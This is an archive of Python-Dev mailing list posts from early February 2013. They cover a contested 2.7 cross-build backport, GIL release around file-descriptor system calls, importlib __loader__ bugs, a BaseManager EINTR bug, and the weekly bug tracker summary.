From solipsis at pitrou.net  Fri Feb  1 00:50:01 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 1 Feb 2013 00:50:01 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
References: <3YxxXq44T7zQ28@mail.python.org>
Message-ID: <20130201005001.5f73e15b@pitrou.net>

On Thu, 31 Jan 2013 23:52:27 +0100 (CET)
matthias.klose <python-checkins at python.org> wrote:
> http://hg.python.org/cpython/rev/8ee6d96a1019
> changeset:   81859:8ee6d96a1019
> branch:      2.7
> parent:      81855:df9f8feb7444
> user:        doko at python.org
> date:        Thu Jan 31 23:52:03 2013 +0100
> summary:
>   - Issue #17086: Backport the patches from the 3.3 branch to cross-build
>   the package.

You aren't supposed to add new features to bugfix branches. Did you
have a specific reason to do this?

Regards

Antoine.



From victor.stinner at gmail.com  Fri Feb  1 01:07:16 2013
From: victor.stinner at gmail.com (Victor Stinner)
Date: Fri, 1 Feb 2013 01:07:16 +0100
Subject: [Python-Dev] Release or not release the GIL
Message-ID: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>

Hi,

While working on the implementation of the PEP 433, I saw different
places where Python asks for operating resources without releasing the
GIL.

In my implementation, I released the GIL in the following places. Is it correct?

- os.dup()
- os.dup2()
- os.pipe()
- socket.socketpair()

os.listdir() releases the GIL to call dup(), whereas os.dup() doesn't.

Victor

From ncoghlan at gmail.com  Fri Feb  1 01:42:05 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 1 Feb 2013 10:42:05 +1000
Subject: [Python-Dev] importlib.find_loader
In-Reply-To: <keekd4$4hl$1@ger.gmane.org>
References: <keekd4$4hl$1@ger.gmane.org>
Message-ID: <CADiSq7fZUn1T4EVR6nDxL3XDfvYZN8wmxcjytsqYgmuO8PBCEw@mail.gmail.com>

Yep, looks like a bug in the bootstrapping, failing to set __loader__
properly.
However, I also think the current handling of the "no __loader__ attribute"
case is a separate bug - since we generally aim to tolerate non-modules in
sys.modules (albeit somewhat grudgingly), importlib should probably be
using "getattr(mod, '__loader__', None)" rather than assuming the attribute
will always be present.

Cheers,
Nick.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/f8990254/attachment.html>

From ncoghlan at gmail.com  Fri Feb  1 02:00:24 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 1 Feb 2013 11:00:24 +1000
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <20130201005001.5f73e15b@pitrou.net>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
Message-ID: <CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>

On Fri, Feb 1, 2013 at 9:50 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Thu, 31 Jan 2013 23:52:27 +0100 (CET)
> matthias.klose <python-checkins at python.org> wrote:
>> http://hg.python.org/cpython/rev/8ee6d96a1019
>> changeset:   81859:8ee6d96a1019
>> branch:      2.7
>> parent:      81855:df9f8feb7444
>> user:        doko at python.org
>> date:        Thu Jan 31 23:52:03 2013 +0100
>> summary:
>>   - Issue #17086: Backport the patches from the 3.3 branch to cross-build
>>   the package.
>
> You aren't supposed to add new features to bugfix branches. Did you
> have a specific reason to do this?

One of the reasons for the long maintenance period on 2.7 is to keep
it building as the underlying platforms change. With the rise of ARM
systems, being able to reliably cross-build Python 2.7 for ARM from an
x86_64 system is fairly important.

That said, as a procedural point for build related new features in
2.7, I agree they should be proposed, with an explicit rationale, on
python-dev before proceeding with the commit.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From guido at python.org  Fri Feb  1 02:44:35 2013
From: guido at python.org (Guido van Rossum)
Date: Thu, 31 Jan 2013 17:44:35 -0800
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
Message-ID: <CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>

I'm guessing those system calls are just implemented by the kernel and
cannot block for I/O, so it was deemed unnecessary to release the GIL
around them. I don't mind changing that though, you can never know
what happens when you make a system call.

On Thu, Jan 31, 2013 at 4:07 PM, Victor Stinner
<victor.stinner at gmail.com> wrote:
> Hi,
>
> While working on the implementation of the PEP 433, I saw different
> places where Python asks for operating resources without releasing the
> GIL.
>
> In my implementation, I released the GIL in the following places. Is it correct?
>
> - os.dup()
> - os.dup2()
> - os.pipe()
> - socket.socketpair()
>
> os.listdir() releases the GIL to call dup(), whereas os.dup() doesn't.
>
> Victor
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org



-- 
--Guido van Rossum (python.org/~guido)

From ncoghlan at gmail.com  Fri Feb  1 05:15:45 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 1 Feb 2013 14:15:45 +1000
Subject: [Python-Dev] [Python-checkins] cpython (2.7): #16128: clarify
 that instances of user-defined classes compare equal with
In-Reply-To: <3Yy3VL2XyVzRKB@mail.python.org>
References: <3Yy3VL2XyVzRKB@mail.python.org>
Message-ID: <CADiSq7d=NnFqYHn1i2zi8SJnFD8BegDE=EnLXpBY57H17C=prw@mail.gmail.com>

On 1 Feb 2013 13:22, "ezio.melotti" <python-checkins at python.org> wrote:
>
> http://hg.python.org/cpython/rev/79a021beaf58
> changeset:   81861:79a021beaf58
> branch:      2.7
> parent:      81859:8ee6d96a1019
> user:        Ezio Melotti <ezio.melotti at gmail.com>
> date:        Fri Feb 01 05:18:44 2013 +0200
> summary:
>   #16128: clarify that instances of user-defined classes compare equal
with themselves.
>
> files:
>   Doc/glossary.rst |  3 ++-
>   1 files changed, 2 insertions(+), 1 deletions(-)
>
>
> diff --git a/Doc/glossary.rst b/Doc/glossary.rst
> --- a/Doc/glossary.rst
> +++ b/Doc/glossary.rst
> @@ -330,7 +330,8 @@
>        All of Python's immutable built-in objects are hashable, while no
mutable
>        containers (such as lists or dictionaries) are.  Objects which are
>        instances of user-defined classes are hashable by default; they all
> -      compare unequal, and their hash value is their :func:`id`.
> +      compare unequal (except with themselves), and their hash value is
their
> +      :func:`id`.

The hash(x) == id(x) behaviour is a CPython implementation detail. It
shouldn't be mentioned here.

>
>     IDLE
>        An Integrated Development Environment for Python.  IDLE is a basic
editor
>
> --
> Repository URL: http://hg.python.org/cpython
>
> _______________________________________________
> Python-checkins mailing list
> Python-checkins at python.org
> http://mail.python.org/mailman/listinfo/python-checkins
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/48eb5cc5/attachment.html>

From theller at ctypes.org  Fri Feb  1 07:56:46 2013
From: theller at ctypes.org (Thomas Heller)
Date: Fri, 01 Feb 2013 07:56:46 +0100
Subject: [Python-Dev] importlib.find_loader
In-Reply-To: <CADiSq7fZUn1T4EVR6nDxL3XDfvYZN8wmxcjytsqYgmuO8PBCEw@mail.gmail.com>
References: <keekd4$4hl$1@ger.gmane.org>
	<CADiSq7fZUn1T4EVR6nDxL3XDfvYZN8wmxcjytsqYgmuO8PBCEw@mail.gmail.com>
Message-ID: <kefovb$ibh$1@ger.gmane.org>

Am 01.02.2013 01:42, schrieb Nick Coghlan:
> Yep, looks like a bug in the bootstrapping, failing to set __loader__
> properly.

It also has the effect that reload does not work:

Type "help", "copyright", "credits" or "license" for more information.
 >>> import imp
 >>> import math
 >>> imp.reload(math)
<module 'math' (built-in)>
 >>> import signal
 >>> imp.reload(signal)
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "C:\Python33-64\lib\imp.py", line 252, in reload
     return module.__loader__.load_module(name)
AttributeError: 'module' object has no attribute '__loader__'
 >>>

> However, I also think the current handling of the "no __loader__
> attribute" case is a separate bug - since we generally aim to tolerate
> non-modules in sys.modules (albeit somewhat grudgingly), importlib
> should probably be using "getattr(mod, '__loader__', None)" rather than
> assuming the attribute will always be present.

Thomas



From solipsis at pitrou.net  Fri Feb  1 08:10:15 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 1 Feb 2013 08:10:15 +0100
Subject: [Python-Dev] cpython (merge 3.3 -> default): #16128: merge with
	3.3.
References: <3Yy3VQ355CzRJ5@mail.python.org>
Message-ID: <20130201081015.4a773871@pitrou.net>

On Fri,  1 Feb 2013 04:20:46 +0100 (CET)
ezio.melotti <python-checkins at python.org> wrote:
> 
> diff --git a/Doc/glossary.rst b/Doc/glossary.rst
> --- a/Doc/glossary.rst
> +++ b/Doc/glossary.rst
> @@ -320,7 +320,8 @@
>        All of Python's immutable built-in objects are hashable, while no mutable
>        containers (such as lists or dictionaries) are.  Objects which are
>        instances of user-defined classes are hashable by default; they all
> -      compare unequal, and their hash value is their :func:`id`.
> +      compare unequal (except with themselves), and their hash value is their
> +      :func:`id`.

Python 3.3.0+ (3.3:127abd16168a, Sep 29 2012, 18:46:33) 
[GCC 4.5.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> o = object()
>>> hash(o) == id(o)
False


Regards

Antoine.



From solipsis at pitrou.net  Fri Feb  1 08:14:25 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 1 Feb 2013 08:14:25 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
Message-ID: <20130201081425.39120441@pitrou.net>

On Fri, 1 Feb 2013 11:00:24 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Fri, Feb 1, 2013 at 9:50 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> > On Thu, 31 Jan 2013 23:52:27 +0100 (CET)
> > matthias.klose <python-checkins at python.org> wrote:
> >> http://hg.python.org/cpython/rev/8ee6d96a1019
> >> changeset:   81859:8ee6d96a1019
> >> branch:      2.7
> >> parent:      81855:df9f8feb7444
> >> user:        doko at python.org
> >> date:        Thu Jan 31 23:52:03 2013 +0100
> >> summary:
> >>   - Issue #17086: Backport the patches from the 3.3 branch to cross-build
> >>   the package.
> >
> > You aren't supposed to add new features to bugfix branches. Did you
> > have a specific reason to do this?
> 
> One of the reasons for the long maintenance period on 2.7 is to keep
> it building as the underlying platforms change. With the rise of ARM
> systems, being able to reliably cross-build Python 2.7 for ARM from an
> x86_64 system is fairly important.

I would like to see a better argument for this. The rise of ARM systems
is the rise of ARM systems powerful enough to build Python without
cross-compiling (which is why we *now* have ARM buildbots).
The very small ARM systems which need cross-compiling have existed for
decades.

> That said, as a procedural point for build related new features in
> 2.7, I agree they should be proposed, with an explicit rationale, on
> python-dev before proceeding with the commit.

I think this huge changeset should be reverted. It's a complete failure
in terms of procedure and following the rules. "Just because it can be
useful" is not a good enough reason to violate our release model
without even asking.

Regards

Antoine.

From lvroyce at linux.vnet.ibm.com  Fri Feb  1 11:58:35 2013
From: lvroyce at linux.vnet.ibm.com (Royce Lv)
Date: Fri, 01 Feb 2013 18:58:35 +0800
Subject: [Python-Dev] issue17097:baseManager serve_client() not check EINTR
	when recv request
In-Reply-To: <20130131091702.GB3217@redhat.com>
References: <CAEWPe=pBv0S1OJTBCQWJ7c=t4zdSFbfapmOzhmNbjLpcBRG4-g@mail.gmail.com>
	<20130123084901.GR6145@redhat.com>
	<CAEWPe=r9LiZxm84bUfrCwf-xfY6XM8w_1F14Wh876oe6oV7gmQ@mail.gmail.com>
	<CAEWPe=pfaCNF87O3FrDY7X5CE+f9_MTidLZT=ySqm5S+dFB_0w@mail.gmail.com>
	<CAEWPe=pF8zOpLUSaujKcUaBRoqkJaL1zJ3=tmO59xHGTrtXBFw@mail.gmail.com>
	<51013C65.3050703@redhat.com>
	<CAEWPe=qztP633fDecxWavgjv-Lwwz7p6sSv+M=FQpRwrfKe3Rw@mail.gmail.com>
	<CAEWPe=qjozgWjK3U7-PDky8kToy8=R9A=ES32hQj1qmhhczTjA@mail.gmail.com>
	<51020A6F.6040201@linux.vnet.ibm.com>
	<20130131091702.GB3217@redhat.com>
Message-ID: <510B9FDB.6080602@linux.vnet.ibm.com>

Hi All,

We create our customised manager which will fork child process with baseManager. Because we registered SIGCHLD to reap the zombie for manager, we found this causes baseManager raise RemoteError when called twice.(Test script attached.)

After look at baseManager.py we found recv() in handling the request has been interrupted by comming SIGCHLD, not retry recv(), but raise to client side directly.
             try:

                 methodname = obj = None

                 request = recv()<------------------this line been interrupted by SIGCHLD

                 ident, methodname, args, kwds = request

                 obj, exposed, gettypeid = id_to_obj[ident]

                 if methodname not in exposed:

                     raise AttributeError(

                         'method %r of %r object is not in exposed=%r' %

                         (methodname, type(obj), exposed)

                         )

                 function = getattr(obj, methodname)
                 try:

                     res = function(*args, **kwds)

                 except Exception, e:

                     msg = ('#ERROR', e)

                 else:

                     typeid = gettypeid and gettypeid.get(methodname, None)

                     if typeid:

                         rident, rexposed = self.create(conn, typeid, res)

                         token = Token(typeid, self.address, rident)

                         msg = ('#PROXY', (rexposed, token))

                     else:

                         msg = ('#RETURN', res)
             except AttributeError:
                 if methodname is None:
                     msg = ('#TRACEBACK', format_exc())
                 else:
                     try:
                         fallback_func = self.fallback_mapping[methodname]
                         result = fallback_func(
                             self, conn, ident, obj, *args, **kwds
                             )
                         msg = ('#RETURN', result)
                     except Exception:
                         msg = ('#TRACEBACK', format_exc())

             except EOFError:
                 util.debug('got EOF -- exiting thread serving %r',
                            threading.current_thread().name)
                 sys.exit(0)

             except Exception:<------does not handle IOError,INTR here should retry recv()
                 msg = ('#TRACEBACK', format_exc())


REF: http://bugs.python.org/issue17097


-------------- next part --------------
A non-text attachment was scrubbed...
Name: fakesupervdsm.py
Type: text/x-python
Size: 1571 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/62411f68/attachment.py>

From shibturn at gmail.com  Fri Feb  1 14:08:01 2013
From: shibturn at gmail.com (Richard Oudkerk)
Date: Fri, 01 Feb 2013 13:08:01 +0000
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
Message-ID: <kegeo2$s7e$1@ger.gmane.org>

On 01/02/2013 1:44am, Guido van Rossum wrote:
> I'm guessing those system calls are just implemented by the kernel and
> cannot block for I/O, so it was deemed unnecessary to release the GIL
> around them. I don't mind changing that though, you can never know
> what happens when you make a system call.

close() can block, so I assume the same is true of dup2(), since 
dup2(oldfd, newfd) closes oldfd.

-- 
Richard


From victor.stinner at gmail.com  Fri Feb  1 14:20:02 2013
From: victor.stinner at gmail.com (Victor Stinner)
Date: Fri, 1 Feb 2013 14:20:02 +0100
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <kegeo2$s7e$1@ger.gmane.org>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
Message-ID: <CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>

> dup2(oldfd, newfd) closes oldfd.

No, it doesn't close oldfd.

It may close newfd if it was already open.

Victor

From cf.natali at gmail.com  Fri Feb  1 14:37:35 2013
From: cf.natali at gmail.com (=?ISO-8859-1?Q?Charles=2DFran=E7ois_Natali?=)
Date: Fri, 1 Feb 2013 14:37:35 +0100
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
Message-ID: <CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>

>> dup2(oldfd, newfd) closes oldfd.
>
> No, it doesn't close oldfd.
>
> It may close newfd if it was already open.

(I guess that's what he meant).

Anyway, only dup2() should probably release the GIL.

One reasonable heuristic is to check the man page: if the syscall can
return EINTR, then the GIL should be released.

From brett at python.org  Fri Feb  1 14:46:15 2013
From: brett at python.org (Brett Cannon)
Date: Fri, 1 Feb 2013 08:46:15 -0500
Subject: [Python-Dev] importlib.find_loader
In-Reply-To: <kefovb$ibh$1@ger.gmane.org>
References: <keekd4$4hl$1@ger.gmane.org>
	<CADiSq7fZUn1T4EVR6nDxL3XDfvYZN8wmxcjytsqYgmuO8PBCEw@mail.gmail.com>
	<kefovb$ibh$1@ger.gmane.org>
Message-ID: <CAP1=2W7-5uN3qPL3nWJfidVOrD9=Q190_UmrZd=LEeY0yStHUg@mail.gmail.com>

Bugs #17098 and #17099 filed.


On Fri, Feb 1, 2013 at 1:56 AM, Thomas Heller <theller at ctypes.org> wrote:

> Am 01.02.2013 01:42, schrieb Nick Coghlan:
>
>  Yep, looks like a bug in the bootstrapping, failing to set __loader__
>> properly.
>>
>
> It also has the effect that reload does not work:
>
>
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import imp
> >>> import math
> >>> imp.reload(math)
> <module 'math' (built-in)>
> >>> import signal
> >>> imp.reload(signal)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "C:\Python33-64\lib\imp.py", line 252, in reload
>     return module.__loader__.load_module(**name)
>
> AttributeError: 'module' object has no attribute '__loader__'
> >>>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/1b9c8546/attachment.html>

From amauryfa at gmail.com  Fri Feb  1 15:18:39 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Fri, 1 Feb 2013 15:18:39 +0100
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
Message-ID: <CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>

2013/2/1 Charles-Fran?ois Natali <cf.natali at gmail.com>

> >> dup2(oldfd, newfd) closes oldfd.
> >
> > No, it doesn't close oldfd.
> >
> > It may close newfd if it was already open.
>
> (I guess that's what he meant).
>
> Anyway, only dup2() should probably release the GIL.
>
> One reasonable heuristic is to check the man page: if the syscall can
> return EINTR, then the GIL should be released.


Should the call be retried in the EINTR case?
(After a PyErr_CheckSignals)

-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/56c3ecb9/attachment.html>

From solipsis at pitrou.net  Fri Feb  1 16:22:42 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 1 Feb 2013 16:22:42 +0100
Subject: [Python-Dev] Release or not release the GIL
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
	<CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>
Message-ID: <20130201162242.77522b26@pitrou.net>

Le Fri, 1 Feb 2013 15:18:39 +0100,
"Amaury Forgeot d'Arc" <amauryfa at gmail.com> a ?crit :
> 2013/2/1 Charles-Fran?ois Natali <cf.natali at gmail.com>
> 
> > >> dup2(oldfd, newfd) closes oldfd.
> > >
> > > No, it doesn't close oldfd.
> > >
> > > It may close newfd if it was already open.
> >
> > (I guess that's what he meant).
> >
> > Anyway, only dup2() should probably release the GIL.
> >
> > One reasonable heuristic is to check the man page: if the syscall
> > can return EINTR, then the GIL should be released.
> 
> 
> Should the call be retried in the EINTR case?
> (After a PyErr_CheckSignals)

I don't think we want to retry low-level system calls (but I'm not sure
we're currently consistent in that regard).

Regards

Antoine.



From status at bugs.python.org  Fri Feb  1 18:07:31 2013
From: status at bugs.python.org (Python tracker)
Date: Fri,  1 Feb 2013 18:07:31 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20130201170731.99B3856917@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (2013-01-25 - 2013-02-01)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue.
Do NOT respond to this message.

Issues counts and deltas:
  open    3848 (+11)
  closed 25028 (+57)
  total  28876 (+68)

Open issues with patches: 1681 


Issues opened (52)
==================

#17034: Use Py_CLEAR() in stringobject.c and bytesobject.c
http://bugs.python.org/issue17034  opened by serhiy.storchaka

#17035: Use new style classes in {class, static}method examples
http://bugs.python.org/issue17035  opened by berker.peksag

#17036: Implementation of the PEP 433: Easier suppression of file desc
http://bugs.python.org/issue17036  opened by haypo

#17037: Use a test.support helper to wrap the PEP 399 boilerplate
http://bugs.python.org/issue17037  opened by eric.snow

#17043: Invalid read in test_codecs
http://bugs.python.org/issue17043  opened by skrah

#17044: Implement PEP 422: Simple class initialisation hook
http://bugs.python.org/issue17044  opened by daniel.urban

#17045: Improve C-API doc for PyTypeObject
http://bugs.python.org/issue17045  opened by eric.snow

#17046: test_subprocess test_executable_without_cwd fails when run wit
http://bugs.python.org/issue17046  opened by ned.deily

#17047: Fix double double words words
http://bugs.python.org/issue17047  opened by serhiy.storchaka

#17048: calendar should understand full- vs. half-width characters
http://bugs.python.org/issue17048  opened by nneonneo

#17050: argparse.REMAINDER doesn't work as first argument
http://bugs.python.org/issue17050  opened by chris.jerdonek

#17052: unittest discovery should use self.testLoader
http://bugs.python.org/issue17052  opened by chris.jerdonek

#17053: pydoc should use inspect.signature instead of inspect.getfulla
http://bugs.python.org/issue17053  opened by ronaldoussoren

#17056: Support Visual Studio 2012
http://bugs.python.org/issue17056  opened by cowwoc

#17057: Data model documentation grammar
http://bugs.python.org/issue17057  opened by Hobson.Lane

#17060: IDLE -- jump to home should not go past the PS1 and PS2 prompt
http://bugs.python.org/issue17060  opened by rhettinger

#17061: tokenize unconditionally emits NL after comment lines & blank 
http://bugs.python.org/issue17061  opened by takluyver

#17062: An os.walk inspired replacement for pkgutil.walk_packages
http://bugs.python.org/issue17062  opened by ncoghlan

#17063: assert_called_with could be more powerful if it allowed placeh
http://bugs.python.org/issue17063  opened by pitrou

#17064: Fix sporadic buildbot failures for test_mailbox
http://bugs.python.org/issue17064  opened by jkloth

#17065: Fix sporadic buildbot failures for test_winreg
http://bugs.python.org/issue17065  opened by jkloth

#17066: Fix test discovery for test_robotparser.py
http://bugs.python.org/issue17066  opened by zach.ware

#17067: Examples in documentation for 3.x in 23.1.3.4. Deferred transl
http://bugs.python.org/issue17067  opened by carsten.klein at axn-software.de

#17068: peephole optimization for constant strings
http://bugs.python.org/issue17068  opened by nnorwitz

#17069: HTTP result code in urllib2.urlopen() file object undocumented
http://bugs.python.org/issue17069  opened by tazle

#17070: PEP 433: Use the new cloexec to improve security and avoid bug
http://bugs.python.org/issue17070  opened by haypo

#17073: Integer overflow in sqlite module
http://bugs.python.org/issue17073  opened by serhiy.storchaka

#17076: shutil.copytree failing on xattr-less filesystems (like NFS)
http://bugs.python.org/issue17076  opened by twouters

#17077: Fix test_tools hangs
http://bugs.python.org/issue17077  opened by jkloth

#17078: string.Template.safe_substitute hard-wires "braces" as {}
http://bugs.python.org/issue17078  opened by Adam.Kellas

#17079: Fix test discovery for test_ctypes.py
http://bugs.python.org/issue17079  opened by zach.ware

#17080: A better error message for float()
http://bugs.python.org/issue17080  opened by Jonathan.Livni

#17082: Fix test discovery for test_dbm*.py
http://bugs.python.org/issue17082  opened by zach.ware

#17083: can't specify newline string for readline for binary files
http://bugs.python.org/issue17083  opened by susurrus

#17084: nntplib.NNTP.xover does not always return results as documente
http://bugs.python.org/issue17084  opened by dholm

#17085: test_socket crashes the whole test suite
http://bugs.python.org/issue17085  opened by ddvento at ucar.edu

#17086: backport cross-build patches to the 2.7 branch
http://bugs.python.org/issue17086  opened by doko

#17087: Improve the repr for regular expression match objects
http://bugs.python.org/issue17087  opened by rhettinger

#17088: ElementTree incorrectly refuses to write attributes without na
http://bugs.python.org/issue17088  opened by silverbacknet

#17089: Expat parser parses strings only when XML encoding is UTF-8
http://bugs.python.org/issue17089  opened by serhiy.storchaka

#17091: thread.lock.acquire docstring bug
http://bugs.python.org/issue17091  opened by arigo

#17092: Disable TIPC in configure
http://bugs.python.org/issue17092  opened by ddvento at ucar.edu

#17093: Make importlib.abc more inheritance-friendly
http://bugs.python.org/issue17093  opened by brett.cannon

#17094: sys._current_frames() reports too many/wrong stack frames
http://bugs.python.org/issue17094  opened by Ringding

#17095: Modules/Setup *shared* support broken
http://bugs.python.org/issue17095  opened by twouters

#17096: the system keyring should be used instead of ~/.pypirc
http://bugs.python.org/issue17096  opened by graingert

#17097: baseManager serve_client() not check EINTR when recv request
http://bugs.python.org/issue17097  opened by lvroyce

#17098: Set __loader__ on modules imported by the C level
http://bugs.python.org/issue17098  opened by brett.cannon

#17099: Raise ValueError when __loader__ not defined for importlib.fin
http://bugs.python.org/issue17099  opened by brett.cannon

#17100: rotating an ordereddict
http://bugs.python.org/issue17100  opened by pitrou

#17101: __main__.py Multiprocessing on Windows
http://bugs.python.org/issue17101  opened by pthiem

#17055: ftplib.ftpcp test
http://bugs.python.org/issue17055  opened by inc0



Most recent 15 issues with no replies (15)
==========================================

#17101: __main__.py Multiprocessing on Windows
http://bugs.python.org/issue17101

#17100: rotating an ordereddict
http://bugs.python.org/issue17100

#17097: baseManager serve_client() not check EINTR when recv request
http://bugs.python.org/issue17097

#17096: the system keyring should be used instead of ~/.pypirc
http://bugs.python.org/issue17096

#17095: Modules/Setup *shared* support broken
http://bugs.python.org/issue17095

#17094: sys._current_frames() reports too many/wrong stack frames
http://bugs.python.org/issue17094

#17091: thread.lock.acquire docstring bug
http://bugs.python.org/issue17091

#17089: Expat parser parses strings only when XML encoding is UTF-8
http://bugs.python.org/issue17089

#17088: ElementTree incorrectly refuses to write attributes without na
http://bugs.python.org/issue17088

#17085: test_socket crashes the whole test suite
http://bugs.python.org/issue17085

#17084: nntplib.NNTP.xover does not always return results as documente
http://bugs.python.org/issue17084

#17082: Fix test discovery for test_dbm*.py
http://bugs.python.org/issue17082

#17079: Fix test discovery for test_ctypes.py
http://bugs.python.org/issue17079

#17073: Integer overflow in sqlite module
http://bugs.python.org/issue17073

#17070: PEP 433: Use the new cloexec to improve security and avoid bug
http://bugs.python.org/issue17070



Most recent 15 issues waiting for review (15)
=============================================

#17095: Modules/Setup *shared* support broken
http://bugs.python.org/issue17095

#17094: sys._current_frames() reports too many/wrong stack frames
http://bugs.python.org/issue17094

#17089: Expat parser parses strings only when XML encoding is UTF-8
http://bugs.python.org/issue17089

#17086: backport cross-build patches to the 2.7 branch
http://bugs.python.org/issue17086

#17082: Fix test discovery for test_dbm*.py
http://bugs.python.org/issue17082

#17080: A better error message for float()
http://bugs.python.org/issue17080

#17079: Fix test discovery for test_ctypes.py
http://bugs.python.org/issue17079

#17077: Fix test_tools hangs
http://bugs.python.org/issue17077

#17076: shutil.copytree failing on xattr-less filesystems (like NFS)
http://bugs.python.org/issue17076

#17073: Integer overflow in sqlite module
http://bugs.python.org/issue17073

#17070: PEP 433: Use the new cloexec to improve security and avoid bug
